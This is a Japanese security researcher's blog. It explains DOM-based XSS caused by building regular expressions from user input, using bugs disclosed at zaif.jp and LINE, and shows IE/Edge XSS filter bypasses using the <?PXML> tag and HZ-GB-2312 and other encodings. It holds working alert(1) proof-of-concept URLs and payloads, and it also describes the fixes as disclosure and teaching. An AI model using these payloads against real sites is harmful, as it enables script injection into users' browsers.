2018/01/15

ユーザ入力を使った正規表現から生じるDOM based XSS

お久しぶりです&あけましておめでとうございます。昨年はブログを書く時間をうまく作ることができず、あまり記事を書けませんでした。今年はできるだけ月に1回程度何か書いていきたいと思っています。今年もよろしくお願いします!

さて、ブログを書かなかった間にXSSからSQLインジェクションへ興味が移った、なんてことはありませんでしたので、今日もいつも通り大好きなXSSの話をしたいと思います!

最近、正規表現にユーザ入力を使っていることに起因するDOM based XSSに連続して遭遇しました。あまり見慣れていない注意が必要な問題だと思うので、この記事では、見つけたもの2つがどのように生じたか、また、問題を起こさないためにどうすればよいかを紹介します。

そのうちの1つはLINEのBug Bounty Programを通じて報告した問題です。
賞金と、"LINE SECURITY BUG BOUNTY"と書かれたシンプルなTシャツをもらいました。


LINEのバグの詳細は記事の後半にあります。
それでは見ていきます!

例1: zaif.jp にあったDOM based XSS


仮想通貨が盛り上がっていますね。僕は持っていないのですが、どんなものかとTwitterで話題にあがっていた取引所の zaif.jp のトップページをふと覗いたところ、以下のような興味深いコードを見つけました。(不要な部分は省略しています。)
$(".btn").on("click", function(e) {
  var url = location.href;
  var regExp = new RegExp( location.hash, "g" );
  url = url.replace( regExp, "");
  window.location.href = url;
});
このコードは、URL中の#以降の文字を削除してリダイレクトする意図で書かれているように見えます。しかしながら、削除する方法が適切でないため、任意のスクリプトを実行できてしまいます。どこに問題があるかわかりますか?

正規表現を作っている部分に注目してください:
var regExp = new RegExp( location.hash, "g" );
この書き方には問題があります。RegExpコンストラクタの第一引数には正規表現になる文字列がきます。したがって、この場合はlocation.hashが正規表現として使われることになります。このコードでも、#aaaのように、#以降に英数字のみが含まれるようなURLであれば意図通りに#以降が削除されます。しかしながら、.+など、正規表現の特殊文字が#以降に含まれていた場合に意図しない置換が起こってしまいます。

例えば、次のようなURLからアクセスされた場合を考えてみてください:

https://zaif.jp/#|.+

location.hashから正規表現が組み立てられることにより、URL文字列は次のように置換されます。
url.replace(/#|.+/g, "");
これは、「#」か「改行文字以外の文字の連続」(.+) のいずれかを空文字列に置換するという意味になります。.+はURL中のすべての文字列とマッチするので、すべての文字列が空文字列に置換されてしまいます。このように、正規表現の特殊文字をURLの#以降に指定することで、#以降の文字列以外も切り取ることができてしまいます。

一見、小さなバグのようにも思えますが、このせいで任意のスクリプトの実行まで可能です。切り取られた文字列はlocation.hrefに代入されるため、細工した正規表現を使って、javascript:スキームのURLとなる文字列を残せば、スクリプトを実行するURLへナビゲートできてしまいます。

PoCを示します。次のようなURLからアラートを実行できます:

https://zaif.jp/#javascript:alert(1)//|.+\x23

このURLからは次のような置換が行われます。
url.replace(/#javascript:alert(1)\/\/|.+\x23/g, "");
.+\x23 (\x23は # をエスケープした形) によって、先頭から#までの文字列が削除されます。結果、残されるのはjavascript:alert(1)//|.+\x23というURLとなり、スクリプトの実行が可能となります。

このXSSを再現できるページを用意しました。以下からスクリプトの実行を試すことができます:

https://vulnerabledoma.in/domxss_regex.html#javascript:alert(1)//|.+\x23

この問題は、2017年12月中旬に報告し、1週間程度で修正されました。現在は、正規表現を使わず、location.href.split("#")[0]で#以降の文字列を除いているようです。

例2: LINE のドメインにあったDOM based XSS


2017年4月頃にLINE Security Bug Bounty Programを通じて報告し、$500 の賞金を獲得したバグです。
以下に問題があったページを模したページを用意しました。どこにXSSがあるかわかりますか?

https://vulnerabledoma.in/domxss_regex2.html?id=123
<script id="template" type="text/template">
<img src="https://example.com/img/{{id}}.png">
</script>
<script>
function parseQuery() {
  var res = {};
  var tmp;
  var items = location.search.substr(1).split('&');
  for (var i = 0; i < items.length; i++) {
    tmp = items[i].split('=');
    if (tmp[0]) {
      res[tmp[0]] = decodeURIComponent(tmp[1]);
    }
  }
  return res;
}
function renderHTML(data) {
  var current = document.getElementById('template');
  var template = current ? current.innerHTML : '';
  for (key in data) {
    var re = new RegExp('{{' + key + '}}', 'gm');
    var safe = escapeHTML(data[key]);
    template = template.replace(re, safe);
  }
  document.body.innerHTML = template;
}
function escapeHTML(src) {
  var res = src;
  var escapeMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '`': '&#x60;'
  }
  for (key in escapeMap) {
    var re = new RegExp(key, 'gm');
    res = res.replace(re, escapeMap[key]);
  }
  return res;
}
var params = parseQuery();
if (params.id) {
  renderHTML(params);
}
</script>
まず、parseQuery()でクエリの名前と値のペアのオブジェクトを作成しています。クエリはページ上部にあるtype="text/template"なscriptタグにあるHTMLのテンプレートのプレースホルダ(この例では{{id}})を置換するために使われます。
置換処理部分を以下に抜粋します:
for (key in data) {
  var re = new RegExp('{{' + key + '}}', 'gm');
  var safe = escapeHTML(data[key]);
  template = template.replace(re, safe);
}
data変数はparseQuery()で作成したクエリのオブジェクトです。ここでは、クエリと同名のプレースホルダがテンプレートに存在するかどうかにかかわらず、for...in文ですべてのクエリをプレースホルダとして置換しようとしています。今回は、ユーザ入力から正規表現を組み立てているだけでなく(new RegExp('{{' + key + '}}', 'gm')部分)、置換後の文字列もユーザ入力で指定できています(escapeHTML(data[key])部分)。例えば、id=123というクエリがあるとき、次のような置換処理が行われることになります。黄色部分がユーザ入力から設定されたものです:
template.replace(/{{id}}/gm, '123');
置換後の文字列を指定できるのなら、シンプルにクエリにHTMLタグを与えることでXSSできるのではと考えるところですが、置換後の文字列はescapeHTML関数によってエスケープされるため、次のようなURLからアクセスしてもXSSは発生しません:

https://vulnerabledoma.in/domxss_regex2.html?id="><s>aaa

どんな文字列を与えたらXSSが成立するでしょう?今回も、正規表現を細工することでXSSを起こします。加えて、今回は置換後の文字列も細工します。
PoCを先に示します。次のようなURLにアクセスするとスクリプトを実行できます:

https://vulnerabledoma.in/domxss_regex2.html?id=123&|(.)h|=$1a$1onerror%3Dalert(1)//

なぜスクリプトを実行できたか見ていきます。
置換前のテンプレート文字列は次のようになっています。
<img src="https://example.com/img/{{id}}.png">
まず、クエリのid=123により、{{id}}の部分が123に置換されます。
あとに続く|(.)h|=$1a$1onerror%3Dalert(1)//というクエリからも置換が行われます。実行される置換処理は次のようになります:
template.replace(/{{|(.)h|}}/gm, '$1a$1onerror=alert(1)//');

このコードはテンプレート中にある「{{」または 「任意の1文字 + h」((.)h) または「}}」を、指定した文字列に置換しようとします。このうち、「任意の1文字 + h」はテンプレート中の以下の黄色部分で発見できます:
<img src="https://example.com/img/123.png">
この部分が、$1a$1onerror=alert(1)//で置換されます。$1()でくくった部分にマッチした文字列を配置するという意味で、ここでは"が取り出されます。
したがって、テンプレート文字列は次のように置換されます:
<img src="a"onerror=alert(1)//ttps://example.com/img/123.png">
見ての通り、imgタグにonerrorイベントハンドラが追加できてしまっています。この文字列がdocument.body.innerHTML = template;でページに書き出されることによって、任意のスクリプトの実行が達成されるという訳です。

修正後は、ユーザ入力から正規表現を組み立てるのではなく、以下のようにテンプレートに埋め込まれたプレースホルダを検索することによって置換を行うようになったようです。
template = template.replace(/{{(\w+)}}/gm, function($0,$1) {
  return escapeHTML(data[$1]);
});

このような問題を防ぐには


どちらの問題も、ユーザ入力から"正規表現を組み立てていること"を失念しており、単に検索用の"文字列として"使われることを期待したことが原因で発生したように思います。いずれの修正も正規表現を組み立てない方法で書き直すことができているように、たいていの場合、ユーザ入力から正規表現を組み立てる必要はないはずです。
new RegExp(USER_INPUT,"")のようなコードを書いてしまったら、それは本当にやりたいことなのか、一度考え直してみるとよいかと思います。ユーザに正規表現を使わせたいとき以外、まず適切な書き方ではありません。

以上、正規表現にユーザ入力を使っていることに起因するDOM based XSSの例を2つ紹介しました。
このような問題を避ける助けとなれば嬉しいです。

2017/05/22

ブラウザのXSS保護機能をバイパスする(13)

前回の記事、間違えて14回目と書きましたが、13回目でした。
飛ばしてしまった13回目を今からここに書いて埋めることにします!

今日はIEの知られざるHTMLタグについて紹介しようと思います。このタグを利用すると、限られた条件でフィルターのバイパスにも利用できます。

今回利用するのは、<?PXML>というタグです。
皆さん、<?PXML>タグをご存知ですか?僕はよく知りません!
このタグの意味は全く分からなくて、いくら調べても全く出てこないほどで、誰か一体何なのか知っている人がいたら教えてほしいくらいですが、とりあえずここに自分が知っている限りのことを書いていきます。

まず、自分はこのタグを印刷プレビューの脆弱性を探している時に発見しました。様々なページを印刷プレビューして、攻撃可能なプレビュー結果が出ないかみていたときのことです。XMLのパースエラーを表示するページを印刷プレビューしたときに生成されるHTMLに奇妙なタグが含まれていることに気が付きました。
XMLのパースエラーのページは、古いドキュメントモードのページから、不正なXMLのページをフレームに埋め込むと現れます。こんなかんじです:

https://l0.cm/bypass/ie_pxml_printpreview.html


エラー情報を表示する程度のページなら、もっと普通の条件で出てきてもいい気がしますが、とりあえずこれで確実に出ます。
さて、このページを印刷プレビューしてみましょう。プレビューしたら、プレビューした状態をそのままに、%Temp%\Low を開いて、プレビューされたときに生成されるHTMLを確認します。こんなかんじの.htmファイルが発見できるはずです:



2つありますが、片方はトップのフレーム、もう一方はフレームの中のHTMLでしょう。フレームの中のHTMLの方をみてみましょう。

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><?PXML />
<HTML:HTML
__IE_DisplayURL="https://l0.cm/bypass/ie_pxml_printpreview.xml"><HTML:HEAD><HTML:META
content="IE=5.0000" http-equiv="X-UA-Compatible">
<HTML:META content="text/html; charset=unicode" http-equiv=Content-Type>
<HTML:BASE HREF="https://l0.cm/bypass/ie_pxml_printpreview.xml">
<HTML:STYLE> HTML { font-family : "Times New Roman" } </HTML:STYLE></HTML:HEAD>
<HTML:BODY>
<HTML:TABLE width=400>
  <HTML:P style="FONT: 13pt/15pt verdana">XML ページを表示できません
  <HTML:P style="FONT: 8pt/11pt verdana">スタイルシートを使用した XML
  入力は表示できません。エラーを訂正してください。 <HTML:A href="javascript:location.reload()"
  target=_self>[更新]</HTML:A> ボタンをクリックするか、または後でやり直してください。
  <HTML:HR>
  <HTML:P style="FONT: bold 8pt/11pt verdana">ドキュメントの最上位では無効です。リソース
  'https://l0.cm/bypass/ie_pxml_printpreview.xml' の実行エラーです。ライン 1、位置 1 </HTML:P><HTML:PRE style="FONT-SIZE: 10pt; FONT-VARIANT: normal; FONT-WEIGHT: normal; FONT-STYLE: normal; LINE-HEIGHT: 12pt"><HTML:FONT color=blue>AAAAA
^</HTML:FONT></HTML:PRE></HTML:P>
  <HTML:TBODY></HTML:TBODY></HTML:TABLE></HTML:BODY></HTML:HTML>
出た!!何なんでしょう?PXMLのP = Preview のPとかなんでしょうか?
<?PXML>のほかに、HTML:というプレフィックスがついたタグも確認でき、PXMLがあると、HTML:というプレフィックスがついたタグをHTMLタグとして認識させる効果があるようにみえます。

このタグをIEで普通に利用できるか確認してみます。次のように、html:というプレフィックスがついたHTMLタグが利用できるかみてみましょう。

https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E
<?PXML><html:h1>Hello PXML!</html:h1>
動かない? ドキュメントモードを下げてみましょう。

https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E&xuac=9



今度こそh1タグが有効になりましたね!どうやらこのタグはIE9以下のドキュメントモードで機能するようです。

このタグはページの先頭以外でも使うことができるようです。ただし、どうやら、<?PXML>よりも前に<が3つ以上出現した段階で機能しなくなるという制約があるようです。

以下のように、<が2つ出現した段階ではまだ動きます。
https://vulnerabledoma.in/bypass/text?q=%3C%3C%20%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E&xuac=9
<< <?PXML><html:h1>Hello PXML!</html:h1>
しかし、<が3つ出現すると動作しなくなります。
https://vulnerabledoma.in/bypass/text?q=%3C%3C%3C%20%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E&xuac=9
<<< <?PXML><html:h1>Hello PXML!</html:h1>
不思議な動作ですね…。ここまでがこのタグに関してわかっていることです。

わからないことだらけですが、とにかく、これをXSSフィルターのバイパスに利用してみましょう。方法は簡単で、<?PXML>を書いて、あとはhtml:プレフィックスのついたスクリプトタグを書くだけです。

https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:script%3Ealert(1)%3C/html:script%3E&xuac=9
<?PXML><html:script>alert(1)</html:script>
プレフィックスのおかげで、<sc{r}ipt.*?>という遮断条件をバイパスできます。

このバイパスを利用できる場合の条件をまとめると以下のようになります。
  1. 単純な反射型XSSがある
  2. 注入点までに3つ以上の<がでてこない
  3. そのページのドキュメントモードが9以下に設定されているか、フレームに埋め込むなどで低いドキュメントモードを設定できる
条件は厳しいですが、完全な先頭でなくてもいいという点で、先頭必須のバイパスよりも優れています。

以上、IEの知られざるHTMLタグとそれを使ったバイパスについて紹介しました。
<?PXML>の詳細について知っている人がいたらぜひコメントやTwitter等で教えてください!それではまた!

ブラウザのXSS保護機能をバイパスする(14)

前回、XSSAuditorのバイパスのチートシートを作ったという記事を書きましたが、さきほど、IE/EdgeのXSSフィルターのバイパスも公開しました。

https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet#ieedge%E3%81%AExss%E3%83%95%E3%82%A3%E3%83%AB%E3%82%BF%E3%83%BC

この公開に合わせて、今日は強力なIE/EdgeのXSSフィルターのバイパスを1つ紹介しようと思います。

このバイパスはPOST経由以外の全てのReflected XSSで使えます。1年以上前に以下のようなツイートをしましたが、今から紹介するのがこのとき発見したベクターです。
ツイートした時点ではPOSTで使えないことに気付いていなかったので、all contextsは言い過ぎでしたが、いずれにしても強力なベクターだと思います。

まずはPoCからみてみましょう!普通にテキスト部でXSSする場合と、属性だけが記述できるケースのXSSで例を示します。IE/Edgeでアクセスすると、スクリプトが動作することを確認できるはずです。

https://l0.cm/bypass/ie_hz_text.html
<meta charset=utf-8>
<script>
  document.charset="hz-gb-2312";
  location="https://vulnerabledoma.in/bypass/text?q=<script/警/-alert(1)<\/script/警"
</script>

属性値のみでXSSする場合はこちら:
https://l0.cm/bypass/ie_hz_attribute.html
<meta charset=utf-8>
<script>
  document.charset="hz-gb-2312";
  location="https://vulnerabledoma.in/bypass/attribute?q=\u5E44\u9571\u76F9\u8E9E\u5C63\u9CA5\u86AA\u978D\u85A4/-alert(1)//"
</script>
なぜ動作したかは、IEがどんなクエリ文字列を送信しているかに注目するとみえてきます。

IEはナビゲーション時、ナビゲーション前のページに設定された文字コードでクエリ文字列をエンコードしてリクエストを送信します。
例えば、次のようなページから、「あ」という文字列を送信しようとするとき、「あ」はHZ-GB-2312というエンコーディングでエンコードされて送信されます。

https://l0.cm/bypass/ie_hz_example.html
<meta charset=utf-8>
<script>
  document.charset="hz-gb-2312";
  location="https://vulnerabledoma.in/bypass/text?q=あa";
</script>
Fiddlerを見ても、以下のように、UTF-8の「あ」(0xE38182) でなく、HZ-GB-2312の「あ」である~{$"~}が送信されていることがわかります。


この動作を踏まえて、バイパスが起きたケースをもう一度見てみましょう。テキスト部のバイパスでは、<script/警/-alert(1)</script/警という文字列をリダイレクト先に与えています。「警」の字はHZ-GB-2312において、~{>/~}で表されます。したがって、ここでは<script/~{>/~}/-alert(1)</script/~{>/という文字列がクエリを介して送信されており、実際にはスクリプトタグを作成するようなバイト列が送信されていたということがわかります。

XSSフィルターは普通なら<sc{r}ipt.*?>という遮断条件に従ってスクリプトタグに反応しますが、ここではなぜか反応しません。これはおそらく、XSSフィルターが、実際に送信されるリクエストではなく、<script/警という文字列を遮断条件と誤って照らし合わせているためではないかと思います。

属性の場合も同様に、\u5E44\u9571\u76F9\u8E9E\u5C63\u9CA5\u86AA\u978D\u85A4に反応文字列である"onmouseover=を隠しています。このように、実際に送信されるリクエストと、エンコードされた文字列の不一致を起こすことで、XSSフィルターをバイパスすることができます!

その他のエンコーディングでも、同じように不一致を起こせばバイパスが可能です。

ISO-2022-JPを使った例がこちら:
https://l0.cm/bypass/ie_iso2022jp_text.html
https://l0.cm/bypass/ie_iso2022jp_attribute.html

x-chinese-cnsという文字コードを使った例がこちら:
https://l0.cm/bypass/ie_x-chinese-cns_text.html
https://l0.cm/bypass/ie_x-chinese-cns_attribute.html

他にもいろいろな文字コードのバリエーションが考えられるんではないかと思います。

このバイパスの発見当時は、バイパスはただのバグだとしても、特別な条件もなしに様々なコンテキストで使えるこれは修正を待ってから公開しようと考えていましたが、報告後、1年以上経っても変更が加えられなかったあたり、Microsoftはバイパスをそれほど問題にはしていないみたいです。いずれにしても、XSSフィルターはXSSに対する完全な防御ではなく、サイト側の根本的なXSS対策は必須であるということは常に変わりません。実際のバイパスを通して、その思いを強めてもらえれば。それでは!